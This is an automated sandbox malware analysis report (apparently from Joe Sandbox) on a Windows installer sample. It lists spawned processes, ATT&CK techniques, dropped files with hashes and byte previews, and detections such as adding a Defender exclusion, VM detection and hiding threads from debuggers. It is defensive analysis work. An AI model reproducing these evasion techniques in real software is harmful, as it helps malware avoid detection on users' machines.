Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CAF7720 cpuid 6_2_6CAF7720
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AFAB2A GetSystemTimeAsFileTime,10_2_00AFAB2A
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B90090 GetVersion,10_2_00B90090
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2268261288.00000000015B3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Windows Defender\MsMpEng.exe

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
Windows Management Instrumentation		1
Windows Service		1
Access Token Manipulation		11
Masquerading		OS Credential Dumping1
System Time Discovery		Remote Services1
Archive Collected Data		1
Encrypted Channel		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts2
Command and Scripting Interpreter		1
DLL Side-Loading		1
Windows Service		1
Disable or Modify Tools		LSASS Memory331
Security Software Discovery		Remote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Service Execution		Logon Script (Windows)111
Process Injection		231
Virtualization/Sandbox Evasion		Security Account Manager231
Virtualization/Sandbox Evasion		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal Accounts1
Native API		Login Hook1
DLL Side-Loading		1
Access Token Manipulation		NTDS2
Process Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script111
Process Injection		LSA Secrets1
Application Window Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
Deobfuscate/Decode Files or Information		Cached Domain Credentials2
System Owner/User Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items3
Obfuscated Files or Information		DCSync3
File and Directory Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
Software Packing		Proc Filesystem35
System Information Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
DLL Side-Loading		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1579778 Sample: #U5b89#U88c5#U52a9#U624b_2.... Startdate: 23/12/2024 Architecture: WINDOWS Score: 88 96 Multi AV Scanner detection for submitted file 2->96 98 Found driver which could be used to inject code into processes 2->98 100 PE file contains section with special chars 2->100 102 2 other signatures 2->102 10 #U5b89#U88c5#U52a9#U624b_2.0.6.exe 2 2->10         started        13 cmd.exe 2->13         started        15 cmd.exe 2->15         started        17 30 other processes 2->17 process3 file4 94 C:\...\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, PE32 10->94 dropped 19 #U5b89#U88c5#U52a9#U624b_2.0.6.tmp 3 5 10->19         started        23 sc.exe 1 13->23         started        25 sc.exe 1 15->25         started        27 sc.exe 1 17->27         started        29 sc.exe 1 17->29         started        31 sc.exe 1 17->31         started        33 26 other processes 17->33 process5 file6 80 C:\Users\user\AppData\Local\...\update.vac, PE32 19->80 dropped 82 C:\Users\user\AppData\Local\...\_setup64.tmp, PE32+ 19->82 dropped 104 Adds a directory exclusion to Windows Defender 19->104 35 #U5b89#U88c5#U52a9#U624b_2.0.6.exe 2 19->35         started        38 powershell.exe 23 19->38         started        41 conhost.exe 23->41         started        43 Conhost.exe 23->43         started        45 conhost.exe 25->45         started        47 conhost.exe 27->47         started        49 conhost.exe 29->49         started        51 conhost.exe 31->51         started        53 26 other processes 33->53 signatures7 process8 file9 84 C:\...\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, PE32 35->84 dropped 55 #U5b89#U88c5#U52a9#U624b_2.0.6.tmp 4 16 35->55         started        106 Loading BitLocker PowerShell Module 38->106 59 conhost.exe 38->59         started        61 WmiPrvSE.exe 38->61         started        63 conhost.exe 45->63         started        signatures10 process11 file12 86 C:\Users\user\AppData\Local\...\update.vac, PE32 55->86 dropped 88 C:\Program Files (x86)\...\trash (copy), PE32+ 55->88 dropped 90 C:\Program Files (x86)\...\is-0F5J3.tmp, PE32+ 55->90 dropped 92 3 other files (1 malicious) 55->92 dropped 108 Query firmware table information (likely to detect VMs) 55->108 110 Protects its processes via BreakOnTermination flag 55->110 112 Hides threads from debuggers 55->112 114 Contains functionality to hide a thread from the debugger 55->114 65 7zr.exe 2 55->65         started        68 7zr.exe 6 55->68         started        70 cmd.exe 55->70         started        signatures13 process14 file15 78 C:\Program Files (x86)\...\tProtect.dll, PE32+ 65->78 dropped 72 conhost.exe 65->72         started        74 conhost.exe 68->74         started        76 sc.exe 70->76         started        process16

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
#U5b89#U88c5#U52a9#U624b_2.0.6.exe7%VirustotalBrowse
#U5b89#U88c5#U52a9#U624b_2.0.6.exe0%ReversingLabs

Dropped Files

SourceDetectionScannerLabelLink
C:\Program Files (x86)\Windows NT\7zr.exe0%ReversingLabs
C:\Program Files (x86)\Windows NT\hrsw.vbc11%ReversingLabs
C:\Program Files (x86)\Windows NT\is-0F5J3.tmp0%ReversingLabs
C:\Program Files (x86)\Windows NT\tProtect.dll9%ReversingLabs
C:\Program Files (x86)\Windows NT\trash (copy)0%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp0%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\_isetup\_setup64.tmp0%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\update.vac11%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp0%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\_isetup\_setup64.tmp0%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\update.vac11%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://aria2.github.io/Usage:#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drfalse
    		high
    https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU#U5b89#U88c5#U52a9#U624b_2.0.6.exefalse
      		high
      https://github.com/aria2/aria2/issuesReport#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drfalse
        		high
        http://www.metalinker.org/#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drfalse
          		high
          https://www.remobjects.com/ps#U5b89#U88c5#U52a9#U624b_2.0.6.exe, 00000000.00000003.2080391705.000000007EF3B000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.exe, 00000000.00000003.2080019112.0000000003390000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000000.2082091796.00000000007C1000.00000020.00000001.01000000.00000004.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000000.2103564048.000000000115D000.00000020.00000001.01000000.00000008.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.5.dr, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.0.drfalse
            		high
            https://aria2.github.io/#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drfalse
              		high
              https://github.com/aria2/aria2/issues#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drfalse
                		high
                https://www.innosetup.com/#U5b89#U88c5#U52a9#U624b_2.0.6.exe, 00000000.00000003.2080391705.000000007EF3B000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.exe, 00000000.00000003.2080019112.0000000003390000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000000.2082091796.00000000007C1000.00000020.00000001.01000000.00000004.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000000.2103564048.000000000115D000.00000020.00000001.01000000.00000008.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.5.dr, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.0.drfalse
                  		high
                  http://www.metalinker.org/basic_string::_M_construct#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2273779196.00000000047C9000.00000004.00001000.00020000.00000000.sdmp, is-0F5J3.tmp.6.drfalse
                    		high

                    World Map of Contacted IPs

                    ⊘No contacted IP infos

                    General Information

                    Joe Sandbox version:41.0.0 Charoite
                    Analysis ID:1579778
                    Start date and time:2024-12-23 08:59:09 +01:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 9m 36s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Number of analysed new started processes analysed:110
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Critical Process Termination
                    Sample name:#U5b89#U88c5#U52a9#U624b_2.0.6.exe
                    renamed because original name is a hash value
                    Original Sample Name:_2.0.6.exe
                    Detection:MAL
                    Classification:mal88.evad.winEXE@134/32@0/0
                    EGA Information:
                    • Successful, ratio: 100%
                    HCA Information:
                    • Successful, ratio: 76%
                    • Number of executed functions: 28
                    • Number of non-executed functions: 76
                    Cookbook Comments:
                    • Found application associated with file extension: .exe

                    Warnings

                    • Exclude process from analysis (whitelisted): dllhost.exe
                    • Excluded IPs from analysis (whitelisted): 172.202.163.200, 2.22.50.144, 2.22.50.131, 52.165.164.15, 13.107.246.63
                    • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, dns.msftncsi.com, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size exceeded maximum capacity and may have missing behavior information.
                    • Report size exceeded maximum capacity and may have missing disassembly code.
                    • Report size getting too big, too many NtCreateKey calls found.
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    03:00:04API Interceptor1x Sleep call for process: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp modified
                    03:00:07API Interceptor26x Sleep call for process: powershell.exe modified

                    Joe Sandbox View / Context

                    IPs

                    ⊘No context

                    Domains

                    ⊘No context

                    ASNs

                    ⊘No context

                    JA3 Fingerprints

                    ⊘No context

                    Dropped Files

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    C:\Program Files (x86)\Windows NT\7zr.exe#U5b89#U88c5#U52a9#U624b_2.0.7.exeGet hashmaliciousUnknownBrowse
                      #U5b89#U88c5#U52a9#U624b_2.0.7.exeGet hashmaliciousUnknownBrowse
                        #U5b89#U88c5#U52a9#U624b_2.0.5.exeGet hashmaliciousUnknownBrowse
                          #U5b89#U88c5#U52a9#U624b_2.0.4.exeGet hashmaliciousUnknownBrowse
                            #U5b89#U88c5#U52a9#U624b_2.0.5.exeGet hashmaliciousUnknownBrowse
                              #U5b89#U88c5#U52a9#U624b_2.0.4.exeGet hashmaliciousUnknownBrowse
                                Zt43pLXYiu.exeGet hashmaliciousUnknownBrowse
                                  #U5b89#U88c5#U52a9#U624b_1.0.9.exeGet hashmaliciousUnknownBrowse
                                    Zt43pLXYiu.exeGet hashmaliciousUnknownBrowse
                                      #U5b89#U88c5#U52a9#U624b_1.0.1.exeGet hashmaliciousUnknownBrowse

                                        Created / dropped Files

                                        C:\Program Files (x86)\Windows NT\7zr.exe

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:PE32 executable (console) Intel 80386, for MS Windows
                                        Category:dropped
                                        Size (bytes):831200
                                        Entropy (8bit):6.671005303304742
                                        Encrypted:false
                                        SSDEEP:24576:A48I9t/zu2QSM0TMzOCkY+we/86W5gXKxZ5:Ae71MzuiehWIKxZ
                                        MD5:84DC4B92D860E8AEA55D12B1E87EA108
                                        SHA1:56074A031A81A2394770D4DA98AC01D99EC77AAD
                                        SHA-256:BA1EC2C30212F535231EBEB2D122BDA5DD0529D80769495CCFD74361803E3880
                                        SHA-512:CF3552AD1F794582F406FB5A396477A2AA10FCF0210B2F06C3FC4E751DB02193FB9AA792CD994FA398462737E9F9FFA4F19F095A82FC48F860945E98F1B776B7
                                        Malicious:false
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 0%
                                        Joe Sandbox View:
                                        • Filename: #U5b89#U88c5#U52a9#U624b_2.0.7.exe, Detection: malicious, Browse
                                        • Filename: #U5b89#U88c5#U52a9#U624b_2.0.7.exe, Detection: malicious, Browse
                                        • Filename: #U5b89#U88c5#U52a9#U624b_2.0.5.exe, Detection: malicious, Browse
                                        • Filename: #U5b89#U88c5#U52a9#U624b_2.0.4.exe, Detection: malicious, Browse
                                        • Filename: #U5b89#U88c5#U52a9#U624b_2.0.5.exe, Detection: malicious, Browse
                                        • Filename: #U5b89#U88c5#U52a9#U624b_2.0.4.exe, Detection: malicious, Browse
                                        • Filename: Zt43pLXYiu.exe, Detection: malicious, Browse
                                        • Filename: #U5b89#U88c5#U52a9#U624b_1.0.9.exe, Detection: malicious, Browse
                                        • Filename: Zt43pLXYiu.exe, Detection: malicious, Browse
                                        • Filename: #U5b89#U88c5#U52a9#U624b_1.0.1.exe, Detection: malicious, Browse
                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9A..} ..} ..} ...<... ...?..~ ...<..t ...?..v ...?... ...(.| ..} ... ...(.t ..K.... ..k_..~ ..K...~ ..f."._ ...R..x ...&..| ..Rich} ..........PE..L....\.d.....................N......:.............@..........................@............@.....................................x........................&.......d......................................................H............................text.............................. ..`.rdata..RZ.......\..................@..@.data...ds... ......................@....sxdata.............................@....rsrc...............................@..@.reloc..2r.......t..................@..B................................................................................................................................................................................................................................................

                                        C:\Program Files (x86)\Windows NT\file.bin (copy)

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):249968
                                        Entropy (8bit):7.99927878301746
                                        Encrypted:true
                                        SSDEEP:6144:5MLDlV3MdqekCZrPDP+wYg19iyvziHx3WuJFK/iPon8JC:yLDX3Md2oDPJBiyvzsx35JcAEP
                                        MD5:E2189A19182C781773E5E291B61A5E47
                                        SHA1:3F47ADA8A171B2985DCE45E9534DC595D9215039
                                        SHA-256:AA6F63F4B8720AB33572ECB533359D255423003DC37C6D9C171EE20F9717A41B
                                        SHA-512:2329C8637E3AD42ACDE2E547D68315E9750A15D499E781F14051D067BB4913FBDFCA5507894025D8D3C3570A69CD3B438C75C951849392D5497A9AB775192360
                                        Malicious:false
                                        Preview:.@S.......q.,..............Ho..M....Z<..3 .hM.pV.j.8.+r@...l.q...o7&2.@L/..^:..B..E..}).\).4....?..A..U.<......=.:.kt.^n..b...M..8....g@..z..|.Om.....[%.|.<.hn....i....Q.\....2M.@........=.M..Vu......%]......}J..:H.Q.c.F.`..Y..u..^d...q...t...a&.3.9....C....g.qi.F.,Q.M..e.).5.#.|........u...K#.e....}.c..B..g6.......#*5...6.5....t....../Pb.".S....Vx.Z].0...U..K.L......9u.. k.....XM.;.....<#.....u.|...K.B,h.B..:..^1H:..c..*...B&.HC..W.j..A......i..T.3....Q...R.W..|..=.........*l.sz.B.F...........+./..Va.........y...%c<^r2.d...5...k.,....r.z.JuP.M.q.....&...2.*=7...X..x./....ck_<1f.OZ>5.......{N..{.....F..".$su..Q...}*!.....S.ZZ&O..J5&...|fv&.......s.y@..%...'wci..."I..-|.R..7)..j.....r..\.g...|..(."e)..^.`.b.....!.;.+.c..l.).|}.0.B.....4.]~...........U..r..7A..B..w.lUdx8..{y+tr.@...Q..4J6..(ZS.4x....MB.w..o..M..z..kw..s.{...W...6.L.|m.B.B..q..m.....4.#..I...mu. ...g#1f...B.(.Jj.#....+....D.{3......... "...../....^/A.4.V...,.%

                                        C:\Program Files (x86)\Windows NT\hrsw.vbc

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                        Category:dropped
                                        Size (bytes):3598848
                                        Entropy (8bit):7.004949099807939
                                        Encrypted:false
                                        SSDEEP:49152:OLI2LSDJWhsk/42oQ6C+NkdkcQdhjee71MzuiehWIKxZUQjOlwz+cxtVI8q29Zlc:OLVLAJG42oaPQdhCe71MzSRsyo29Al
                                        MD5:1D1464C73252978A58AC925ECE57F0FB
                                        SHA1:30E442BE965F96F3EB75A3ABDB61B90E5A506993
                                        SHA-256:05184064FB017025E0704D75D199BAE02EBBD30AE4D76FB237DF9596CE6450AA
                                        SHA-512:40165B34D6BC63472C3874AAC1FB25B19880F5DFE662F672181728732DC80503A64EF4A8058A410755A321D6BDB7314387464DD8243D6E912F37D5032177928A
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 11%
                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....gg...........!.....b..........%........................................p7...........@.........................HC.......J..<.... 7.X....................07.8?..........................x........................K...............................text...`a.......b.................. ..`.rdata..<............f..............@..@.data................\..............@....00cfg.......`(.......(.............@..@.tls.........p(.......(.............@....voltbl.F.....(...... (..................=~ .........(......"(............. ..`.rsrc...X.... 7.......6.............@..@.reloc..8?...07..@....6.............@..B................................................................................................................................................................................................................................................................................

                                        C:\Program Files (x86)\Windows NT\is-0F5J3.tmp

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
                                        Category:dropped
                                        Size (bytes):5649408
                                        Entropy (8bit):6.392614480390128
                                        Encrypted:false
                                        SSDEEP:98304:jgRfP5jnFTyGZEWxSIBHVGT+t1ufqchZ:kRZDFTyGaHIJoWofqc
                                        MD5:8C71B86BF407C05BAF11E8D296B9C8B8
                                        SHA1:6624AB8CA883C48F02C58250D4EEE9E90098F4E4
                                        SHA-256:BE2099C214F63A3CB4954B09A0BECD6E2E34660B886D4C898D260FEBFE9D70C2
                                        SHA-512:BB3FEE727E40F8213F0A7D9808048E341295A684ECBA6F4DF52F1B07B528D7206CA41926B2433F4B63451565AD2854570FEE976BC7051B629ACD24FCA6D0F507
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: ReversingLabs, Detection: 0%
                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................&.ZF..0V..<.............@..............................V.....L.V...`... ...............................................V../...........0O..............`V.\a...........................vL.(.....................V..............................text....XF......ZF.................`..`.data....z...pF..|...^F.............@....rdata.. 9....F..:....F.............@..@.pdata.......0O.......O.............@..@.xdata........Q.......Q.............@..@.bss.....;....U..........................idata.../....V..0....U.............@....CRT....h....@V.......U.............@....tls.........PV.......U.............@....reloc..\a...`V..b....U.............@..B................................................................................................................................................................................................................

                                        C:\Program Files (x86)\Windows NT\is-QJ471.tmp

                                        Download File
                                        Process:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):249968
                                        Entropy (8bit):7.99927878301746
                                        Encrypted:true
                                        SSDEEP:6144:5MLDlV3MdqekCZrPDP+wYg19iyvziHx3WuJFK/iPon8JC:yLDX3Md2oDPJBiyvzsx35JcAEP
                                        MD5:E2189A19182C781773E5E291B61A5E47
                                        SHA1:3F47ADA8A171B2985DCE45E9534DC595D9215039
                                        SHA-256:AA6F63F4B8720AB33572ECB533359D255423003DC37C6D9C171EE20F9717A41B
                                        SHA-512:2329C8637E3AD42ACDE2E547D68315E9750A15D499E781F14051D067BB4913FBDFCA5507894025D8D3C3570A69CD3B438C75C951849392D5497A9AB775192360
                                        Malicious:false
                                        Preview:.@S.......q.,..............Ho..M....Z<..3 .hM.pV.j.8.+r@...l.q...o7&2.@L/..^:..B..E..}).\).4....?..A..U.<......=.:.kt.^n..b...M..8....g@..z..|.Om.....[%.|.<.hn....i....Q.\....2M.@........=.M..Vu......%]......}J..:H.Q.c.F.`..Y..u..^d...q...t...a&.3.9....C....g.qi.F.,Q.M..e.).5.#.|........u...K#.e....}.c..B..g6.......#*5...6.5....t....../Pb.".S....Vx.Z].0...U..K.L......9u.. k.....XM.;.....<#.....u.|...K.B,h.B..:..^1H:..c..*...B&.HC..W.j..A......i..T.3....Q...R.W..|..=.........*l.sz.B.F...........+./..Va.........y...%c<^r2.d...5...k.,....r.z.JuP.M.q.....&...2.*=7...X..x./....ck_<1f.OZ>5.......{N..{.....F..".$su..Q...}*!.....S.ZZ&O..J5&...|fv&.......s.y@..%...'wci..."I..-|.R..7)..j.....r..\.g...|..(."e)..^.`.b.....!.;.+.c..l.).|}.0.B.....4.]~...........U..r..7A..B..w.lUdx8..{y+tr.@...Q..4J6..(ZS.4x....MB.w..o..M..z..kw..s.{...W...6.L.|m.B.B..q..m.....4.#..I...mu. ...g#1f...B.(.Jj.#....+....D.{3......... "...../....^/A.4.V...,.%

                                        C:\Program Files (x86)\Windows NT\locale.bin

                                        Download File
                                        Process:C:\Program Files (x86)\Windows NT\7zr.exe
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):56530
